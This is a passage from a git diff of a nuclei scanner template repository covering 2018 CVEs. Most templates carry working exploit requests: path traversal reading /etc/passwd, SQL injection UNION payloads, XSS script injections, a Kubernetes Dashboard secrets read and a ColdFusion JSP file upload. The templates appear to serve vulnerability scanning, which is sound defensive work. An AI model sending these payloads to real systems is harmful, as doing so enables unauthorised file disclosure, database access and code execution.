type: word - words: - - "Location: https://www.interact.sh" - - "Location: http://www.interact.sh" - part: header - -# Enhanced by md on 2022/10/13 diff --git a/nuclei-templates/CVE-2018/CVE-2018-14916.yaml b/nuclei-templates/CVE-2018/CVE-2018-14916.yaml deleted file mode 100644 index 751421b50f..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-14916.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2018-14916 -info: - name: Loytec LGATE-902 Directory Traversal - author: 0x_Akoko - severity: critical - description: Loytec LGATE-902 versions prior to 6.4.2 suffer from cross site scripting, arbitrary file deletion, and directory traversal vulnerabilities. - reference: - - https://packetstormsecurity.com/files/152453/Loytec-LGATE-902-XSS-Traversal-File-Deletion.html - - https://www.cvedetails.com/cve/CVE-2018-14916 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - cvss-score: 9.4 - cve-id: CVE-2018-14916 - cwe-id: CWE-732 - tags: cve,cve2018,loytec,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/webui/file_guest?path=/var/www/documentation/../../../../../etc/passwd&flags=1152" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-14931.yaml b/nuclei-templates/CVE-2018/CVE-2018-14931.yaml new file mode 100644 index 0000000000..0276a7408c --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-14931.yaml @@ -0,0 +1,40 @@ +id: CVE-2018-14931 + +info: + name: Polarisft Intellect Core Banking Software Version 9.7.1 - Open Redirect + author: 0x_Akoko + severity: medium + description: Polarisft Intellect Core Banking Software Version 9.7.1 is susceptible to an open redirect issue in the Core and Portal modules via the /IntellectMain.jsp?IntellectSystem= URI. + impact: | + An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information. + remediation: | + Apply the latest security patches or updates provided by Polarisft to fix the open redirect vulnerability. + reference: + - https://neetech18.blogspot.com/2019/03/polaris-intellect-core-banking-software_31.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-14931 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-14931 + cwe-id: CWE-601 + epss-score: 0.00118 + epss-percentile: 0.44971 + cpe: cpe:2.3:a:polarisft:intellect_core_banking:9.7.1:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: polarisft + product: intellect_core_banking + tags: cve,cve2018,redirect,polarisft,intellect + +http: + - method: GET + path: + - '{{BaseURL}}/IntellectMain.jsp?IntellectSystem=https://www.interact.sh' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 +# digest: 490a0046304402201be780a4469ea0a8738f8438126c71d69f8d31d05d6839b39986254edf0db41402207b1a3a25c0738e82ca020983b3a8445e0463f65171558f9d5011fdcafecd6853:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/CVE-2018-15473.yaml b/nuclei-templates/CVE-2018/CVE-2018-15473.yaml new file mode 100644 index 0000000000..2392e8714b --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-15473.yaml @@ -0,0 +1,29 @@ +id: CVE-2018-15473 +info: + name: OpenSSH Username Enumeration <= v7.7 + author: r3dg33k,daffainfo,forgedhallpass + severity: medium + description: OpenSSH through 7.7 is prone to a user enumeration vulnerability due to not delaying bailout for an invalid authenticating user until after the packet containing the request has been fully parsed, related to auth2-gss.c, auth2-hostbased.c, and auth2-pubkey.c. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2018-15473 + - https://github.com/openbsd/src/commit/779974d35b4859c07bc3cb8a12c74b43b0a7d1e0 + - https://bugs.debian.org/906236 + - http://www.openwall.com/lists/oss-security/2018/08/15/5 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2018-15473 + cwe-id: CWE-362 + tags: network,openssh,cve,cve2018 +network: + - host: + - "{{Hostname}}" + - "{{Host}}:22" + matchers: + - type: regex + regex: + - '(?i)SSH-2.0-OpenSSH_(?:[1-6][^\d][^\r]+|7\.[0-7][^\d][^\r]+)' + extractors: + - type: regex + regex: + - '(?i)SSH-2.0-OpenSSH_[^\r]+' diff --git a/nuclei-templates/CVE-2018/CVE-2018-15535.yaml b/nuclei-templates/CVE-2018/CVE-2018-15535.yaml deleted file mode 100644 index ed7aa501ed..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-15535.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2018-15535 -info: - name: Responsive FileManager <9.13.4 - Local File Inclusion - author: daffainfo - severity: high - description: Responsive FileManager before version 9.13.4 is susceptible to local file inclusion via filemanager/ajax_calls.php because it uses external input to construct a pathname that should be within a restricted directory. Instead, because it does not properly neutralize get_file sequences such as ".." can resolve to a location that is outside of that directory, aka local file inclusion. - reference: - - https://www.exploit-db.com/exploits/45271 - - https://nvd.nist.gov/vuln/detail/CVE-2018-15535 - - http://seclists.org/fulldisclosure/2018/Aug/34 - - https://www.exploit-db.com/exploits/45271/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-15535 - cwe-id: CWE-22 - tags: cve,cve2018,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd" - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/07 diff --git a/nuclei-templates/CVE-2018/CVE-2018-15745.yaml b/nuclei-templates/CVE-2018/CVE-2018-15745.yaml new file mode 100644 index 0000000000..d271e88968 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-15745.yaml @@ -0,0 +1,35 @@ +id: CVE-2018-15745 + +info: + name: Argus Surveillance DVR - Directory Traversal + author: gy741 + severity: high + description: Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal, leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter. + reference: + - http://hyp3rlinx.altervista.org/advisories/ARGUS-SURVEILLANCE-DVR-v4-UNAUTHENTICATED-PATH-TRAVERSAL-FILE-DISCLOSURE.txt + - http://packetstormsecurity.com/files/149134/Argus-Surveillance-DVR-4.0.0.0-Directory-Traversal.html + - https://www.exploit-db.com/exploits/45296/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-15745 + cwe-id: CWE-22 + tags: cve,cve2018,argussurveillance,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD=" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: body + words: + - "for 16-bit app support" + - "[drivers]" + condition: and diff --git a/nuclei-templates/CVE-2018/CVE-2018-15961.yaml b/nuclei-templates/CVE-2018/CVE-2018-15961.yaml deleted file mode 100644 index 8459db4064..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-15961.yaml +++ /dev/null @@ -1,72 +0,0 @@ -id: CVE-2018-15961 - -info: - name: Adobe ColdFusion - Unrestricted File Upload Remote Code Execution - author: SkyLark-Lab,ImNightmaree - severity: critical - description: Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have an unrestricted file upload vulnerability. Successful exploitation could lead to arbitrary code execution. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-15961 - - https://github.com/xbufu/CVE-2018-15961 - - https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html - - http://web.archive.org/web/20220309060906/http://www.securitytracker.com/id/1041621 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-15961 - cwe-id: CWE-434 - metadata: - max-request: 2 - shodan-query: http.component:"Adobe ColdFusion" - tags: cve,cve2018,adobe,rce,coldfusion,fileupload,kev,intrusive - -http: - - raw: - - | - POST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------24464570528145 - - -----------------------------24464570528145 - Content-Disposition: form-data; name="file"; filename="{{randstr}}.jsp" - Content-Type: image/jpeg - - <%@ page import="java.util.*,java.io.*"%> - <%@ page import="java.security.MessageDigest"%> - <% - String cve = "CVE-2018-15961"; - MessageDigest alg = MessageDigest.getInstance("MD5"); - alg.reset(); - alg.update(cve.getBytes()); - byte[] digest = alg.digest(); - StringBuffer hashedpasswd = new StringBuffer(); - String hx; - for (int i=0;i - -----------------------------24464570528145 - Content-Disposition: form-data; name="path" - - {{randstr}}.jsp - -----------------------------24464570528145-- - - - | - GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/{{randstr}}.jsp HTTP/1.1 - Host: {{Hostname}} - - matchers-condition: and - matchers: - - - type: word - words: - - "ddbb3e76f92e78c445c8ecb392beb225" # MD5 of CVE-2018-15961 - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/04/22 diff --git a/nuclei-templates/CVE-2018/CVE-2018-16133.yaml b/nuclei-templates/CVE-2018/CVE-2018-16133.yaml new file mode 100644 index 0000000000..7e54e984da --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-16133.yaml @@ -0,0 +1,34 @@ +id: CVE-2018-16133 + +info: + name: Cybrotech CyBroHttpServer 1.0.3 Directory Traversal + author: 0x_Akoko + severity: medium + description: Cybrotech CyBroHttpServer 1.0.3 allows Directory Traversal in the URI. + reference: + - https://packetstormsecurity.com/files/149177/Cybrotech-CyBroHttpServer-1.0.3-Directory-Traversal.html + - http://www.cybrotech.com/ + - https://www.cvedetails.com/cve/CVE-2018-16133 + - https://github.com/EmreOvunc/CyBroHttpServer-v1.0.3-Directory-Traversal + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2018-16133 + cwe-id: CWE-22 + tags: cve,cve2018,cybrotech,lfi + +requests: + - raw: + - |+ + GET \..\..\..\..\Windows\win.ini HTTP/1.1 + Host: {{Hostname}} + + unsafe: true + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and diff --git a/nuclei-templates/CVE-2018/CVE-2018-16288.yaml b/nuclei-templates/CVE-2018/CVE-2018-16288.yaml deleted file mode 100644 index e90a28a2aa..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-16288.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2018-16288 - -info: - name: LG SuperSign EZ CMS 2.5 - Local File Inclusion - author: daffainfo - severity: high - description: LG SuperSign CMS allows reading of arbitrary files via signEzUI/playlist/edit/upload/..%2f URIs. - reference: - - https://www.exploit-db.com/exploits/45440 - - https://www.cvedetails.com/cve/CVE-2018-16288 - - http://mamaquieroserpentester.blogspot.com/2018/09/multiple-vulnerabilities-in-lg.html - - https://www.exploit-db.com/exploits/45440/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - cvss-score: 8.6 - cve-id: CVE-2018-16288 - cwe-id: CWE-200 - tags: cve,cve2018,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/signEzUI/playlist/edit/upload/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/cve-2018-16670.yaml b/nuclei-templates/CVE-2018/CVE-2018-16670.yaml similarity index 100% rename from nuclei-templates/CVE-2018/cve-2018-16670.yaml rename to nuclei-templates/CVE-2018/CVE-2018-16670.yaml diff --git a/nuclei-templates/CVE-2018/CVE-2018-16836.yaml b/nuclei-templates/CVE-2018/CVE-2018-16836.yaml deleted file mode 100644 index 87db214d73..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-16836.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2018-16836 - -info: - name: Rubedo CMS <=3.4.0 - Directory Traversal - author: 0x_Akoko - severity: critical - description: Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI. - reference: - - https://www.exploit-db.com/exploits/45385 - - https://nvd.nist.gov/vuln/detail/CVE-2018-16836 - - https://github.com/maroueneboubakri/CVE/tree/master/rubedo-cms - - https://www.exploit-db.com/exploits/45385/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2018-16836 - cwe-id: CWE-22 - tags: cve,cve2018,rubedo,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/13 diff --git a/nuclei-templates/CVE-2018/CVE-2018-17254.yaml b/nuclei-templates/CVE-2018/CVE-2018-17254.yaml new file mode 100644 index 0000000000..3c59225818 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-17254.yaml @@ -0,0 +1,36 @@ +id: CVE-2018-17254 + +info: + name: Joomla! JCK Editor SQL Injection + author: Suman_Kar + severity: critical + description: The JCK Editor component 6.4.4 for Joomla! allows SQL Injection via the jtreelink/dialogs/links.php parent parameter. + reference: + - http://packetstormsecurity.com/files/161683/Joomla-JCK-Editor-6.4.4-SQL-Injection.html + - https://www.exploit-db.com/exploits/45423/ + remediation: Update or remove the affected plugin. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2018-17254 + cwe-id: CWE-89 + cpe: cpe:2.3:a:arkextensions:jck_editor:*:*:*:*:*:*:*:* + epss-score: 0.8697 + tags: cve,cve2018,packetstorm,edb,joomla,sqli + metadata: + max-request: 1 + +http: + - raw: + - | + GET /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION(),0x6e75636c65692d74656d706c617465),NULL,NULL,NULL,NULL,NULL--%20aa HTTP/1.1 + Host: {{Hostname}} + Referer: {{BaseURL}} + + matchers: + - type: word + part: body + words: + - "nuclei-template" + +# Enhanced by mp on 2022/02/08 diff --git a/nuclei-templates/CVE-2018/CVE-2018-18264.yaml b/nuclei-templates/CVE-2018/CVE-2018-18264.yaml new file mode 100644 index 0000000000..c0b21f42aa --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-18264.yaml @@ -0,0 +1,51 @@ +id: CVE-2018-18264 + +info: + name: Kubernetes Dashboard <1.10.1 - Authentication Bypass + author: edoardottt + severity: high + description: | + Kubernetes Dashboard before 1.10.1 allows attackers to bypass authentication and use Dashboard's Service Account for reading secrets within the cluster. + impact: | + An attacker can bypass authentication and gain unauthorized access to the Kubernetes Dashboard, potentially leading to further compromise of the Kubernetes cluster. + remediation: | + Upgrade to Kubernetes Dashboard version 1.10.1 or later to mitigate the authentication bypass vulnerability. + reference: + - https://github.com/kubernetes/dashboard/pull/3289 + - https://sysdig.com/blog/privilege-escalation-kubernetes-dashboard/ + - https://groups.google.com/forum/#!topic/kubernetes-announce/yBrFf5nmvfI + - https://nvd.nist.gov/vuln/detail/CVE-2018-18264 + - https://github.com/kubernetes/dashboard/pull/3400 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-18264 + cwe-id: CWE-306 + epss-score: 0.96092 + epss-percentile: 0.99459 + cpe: cpe:2.3:a:kubernetes:dashboard:*:*:*:*:*:*:*:* + metadata: + max-request: 2 + vendor: kubernetes + product: dashboard + shodan-query: product:"Kubernetes" + tags: cve,cve2018,kubernetes,k8s,auth-bypass + +http: + - method: GET + path: + - "{{BaseURL}}/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs" + - "{{BaseURL}}/k8s/api/v1/namespaces/kube-system/secrets/kubernetes-dashboard-certs" + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'contains(body, "apiVersion") && contains(body, "objectRef")' + + - type: status + status: + - 200 +# digest: 4a0a00473045022100921dd75b1c4fd5bb0371f58e6411d7e4a06e9735d08963cb9f30cc658605c4ac02201a2470f007b63400ce14203c27f974db451f5e977b2d72cbb796458ce436c080:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/CVE-2018-18323.yaml b/nuclei-templates/CVE-2018/CVE-2018-18323.yaml new file mode 100644 index 0000000000..0161cdc19f --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-18323.yaml @@ -0,0 +1,34 @@ +id: CVE-2018-18323 + +info: + name: Centos Web Panel 0.9.8.480 LFI + author: 0x_Akoko + severity: high + description: Centos Web Panel version 0.9.8.480 suffers from code execution, cross site scripting, and local file inclusion vulnerabilities. + reference: + - https://packetstormsecurity.com/files/149795/Centos-Web-Panel-0.9.8.480-XSS-LFI-Code-Execution.html + - http://centos-webpanel.com/ + - https://www.cvedetails.com/cve/CVE-2018-18323 + - https://seccops.com/centos-web-panel-0-9-8-480-multiple-vulnerabilities/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2018-18323 + cwe-id: CWE-22 + tags: cve,cve2018,centos,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/admin/index.php?module=file_editor&file=/../../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + + - type: regex + regex: + - "root:[x*]:0:0" + + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-18570.yaml b/nuclei-templates/CVE-2018/CVE-2018-18570.yaml new file mode 100644 index 0000000000..dc4cb72724 --- /dev/null +++ b/nuclei-templates/CVE-2018/CVE-2018-18570.yaml @@ -0,0 +1,37 @@ +id: CVE-2018-18570 + +info: + name: Cross-Site Scripting on Planon web application + author: emadshanab + severity: medium + description: Planon before Live Build 41 has XSS + reference: + - https://www2.deloitte.com/de/de/pages/risk/articles/planon-cross-site-scripting.html + - https://nvd.nist.gov/vuln/detail/CVE-2018-18570 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2018-18570 + cwe-id: CWE-79 + tags: xss,cve,cve2018,planon + +requests: + - method: GET + path: + - '{{BaseURL}}/wicket/resource/nl.planon.pssm.dashboard.cre.engine.wicket.page.AbstractDashboardPage/html/nodata.html?nodatamsg=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header diff --git a/nuclei-templates/CVE-2018/CVE-2018-18608.yaml b/nuclei-templates/CVE-2018/CVE-2018-18608.yaml deleted file mode 100644 index c8501bfe0f..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-18608.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2018-18608 -info: - name: DedeCMS V5.7 - Cross Site Scripting - author: ritikchaddha - severity: medium - description: | - DedeCMS 5.7 SP2 allows XSS via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php. - reference: - - https://github.com/ky-j/dedecms/issues/8 - - https://nvd.nist.gov/vuln/detail/CVE-2018-18608 - - https://github.com/ky-j/dedecms/files/2504649/Reflected.XSS.Vulnerability.exists.in.the.file.of.DedeCMS.V5.7.SP2.docx - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-18608 - cwe-id: CWE-79 - metadata: - shodan-query: http.html:"DedeCms" - verified: "true" - tags: dedecms,xss,cve,cve2018 -requests: - - method: GET - path: - - "{{BaseURL}}/plus/feedback.php/rp4hu%27>" - - "DedeCMS Error Warning!" - condition: and - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-18775.yaml b/nuclei-templates/CVE-2018/CVE-2018-18775.yaml deleted file mode 100644 index a6dcb26ecb..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-18775.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2018-18775 - -info: - author: 0x_Akoko - description: Microstrategy Web, version 7, does not sufficiently encode user-controlled inputs, resulting in a Cross-Site Scripting (XSS) vulnerability via the Login.asp Msg parameter - name: Cross Site Scripting in Microstrategy Web version 7 - severity: medium - tags: microstrategy,xss - reference: https://www.exploit-db.com/exploits/45755 - -requests: - - method: GET - path: - - '{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C' - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "" - part: body - - - type: word - words: - - "text/html" - part: header diff --git a/nuclei-templates/CVE-2018/CVE-2018-18778.yaml b/nuclei-templates/CVE-2018/CVE-2018-18778.yaml deleted file mode 100644 index 6c269ecee5..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-18778.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2018-18778 -info: - name: mini_httpd Path Traversal - author: dhiyaneshDK - severity: medium - description: ACME mini_httpd before 1.30 lets remote users read arbitrary files. - reference: - - https://www.acunetix.com/vulnerabilities/web/acme-mini_httpd-arbitrary-file-read/ - - http://www.acme.com/software/mini_httpd/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - cvss-score: 6.5 - cve-id: CVE-2018-18778 - cwe-id: CWE-200 - tags: cve,cve2018,lfi,mini_httpd -requests: - - raw: - - |+ - GET /etc/passwd HTTP/1.1 - Host: - - unsafe: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" diff --git a/nuclei-templates/CVE-2018/CVE-2018-19365.yaml b/nuclei-templates/CVE-2018/CVE-2018-19365.yaml deleted file mode 100644 index 2b040cfd71..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19365.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2018-19365 - -info: - name: Wowza Streaming Engine Manager 4.7.4.01 - Directory Traversal - author: 0x_Akoko - severity: critical - description: Wowza Streaming Engine 4.7.4.01 allows traversal of the directory structure and retrieval of a file via a remote, specifically crafted HTTP request to the REST API. - impact: | - An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or disclosure of sensitive information. - remediation: | - Upgrade to the latest version of Wowza Streaming Engine Manager or apply the necessary patches to fix the directory traversal vulnerability. - reference: - - https://blog.gdssecurity.com/labs/2019/2/11/wowza-streaming-engine-manager-directory-traversal-and-local.html - - https://nvd.nist.gov/vuln/detail/CVE-2018-19365 - - https://raw.githubusercontent.com/WowzaMediaSystems/public_cve/main/wowza-streaming-engine/CVE-2018-19365.txt - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - cvss-score: 9.1 - cve-id: CVE-2018-19365 - cwe-id: CWE-22 - epss-score: 0.01354 - epss-percentile: 0.8589 - cpe: cpe:2.3:a:wowza:streaming_engine:4.7.4.0.1:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: wowza - product: streaming_engine - tags: cve2018,cve,wowza,lfi - -http: - - method: GET - path: - - "{{BaseURL}}/enginemanager/server/logs/download?logType=error&logName=../../../../../../../../etc/passwd&logSource=engine" - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 -# digest: 490a0046304402205881865c2d431ab04277b58b64164a5d9a9e8ded65bae4b0db26e4223352565b02201a8e40546fc42fd6793c303617c6bd7399592710dbb328752a90e8840feaa8fb:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2018/CVE-2018-19752.yaml b/nuclei-templates/CVE-2018/CVE-2018-19752.yaml deleted file mode 100644 index 4876f6389a..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19752.yaml +++ /dev/null @@ -1,52 +0,0 @@ -id: CVE-2018-19752 -info: - name: DomainMOD 4.11.01 - Cross-Site Scripting - author: arafatansari - severity: medium - description: | - DomainMOD through 4.11.01 has XSS via the assets/add/registrar.php notes,registrar field. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2018-19752 - - https://github.com/domainmod/domainmod/issues/84 - - https://www.exploit-db.com/exploits/45949/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N - cvss-score: 4.8 - cve-id: CVE-2018-19752 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2018,domainmod,xss,authenticated -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_username={{username}}&new_password={{password}} - - | - POST /assets/add/registrar.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_registrar=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&new_url=test&new_api_registrar_id=0&new_notes=test - - | - GET /assets/registrars.php HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - redirects: true - max-redirects: 2 - matchers-condition: and - matchers: - - type: word - part: body - words: - - '">' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-19753.yaml b/nuclei-templates/CVE-2018/CVE-2018-19753.yaml deleted file mode 100644 index 1fc3ca7ca6..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19753.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2018-19753 - -info: - name: Tarantella Enterprise Directory Traversal - author: 0x_Akoko - severity: high - description: Tarantella Enterprise versions prior to 3.11 suffer from a directory traversal vulnerability. - reference: - - https://packetstormsecurity.com/files/150541/Tarantella-Enterprise-Directory-Traversal.html - - https://www.cvedetails.com/cve/CVE-2018-19753 - - http://seclists.org/fulldisclosure/2018/Nov/66 - - http://packetstormsecurity.com/files/150541/Tarantella-Enterprise-Directory-Traversal.html - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2018-19753 - cwe-id: CWE-22 - tags: cve,cve2018,tarantella,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/tarantella/cgi-bin/secure/ttawlogin.cgi/?action=start&pg=../../../../../../../../../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2018/CVE-2018-19877.yaml b/nuclei-templates/CVE-2018/CVE-2018-19877.yaml deleted file mode 100644 index 1a7a7645d2..0000000000 --- a/nuclei-templates/CVE-2018/CVE-2018-19877.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2018-19877 -info: - name: Adiscon LogAnalyzer 4.1.7 - Cross Site Scripting - author: arafatansari - severity: medium - description: | - Adiscon LogAnalyzer before 4.1.7 is affected by Cross-Site Scripting (XSS) in the 'referer' parameter of the login.php file. - reference: - - https://loganalyzer.adiscon.com/news/loganalyzer-v4-1-7-v4-stable-released/ - - https://www.exploit-db.com/exploits/45958/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2018-19877 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2018,adiscon,xss -requests: - - method: GET - path: - - "{{BaseURL}}/src/login.php?referer=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E" - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'value="">' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git 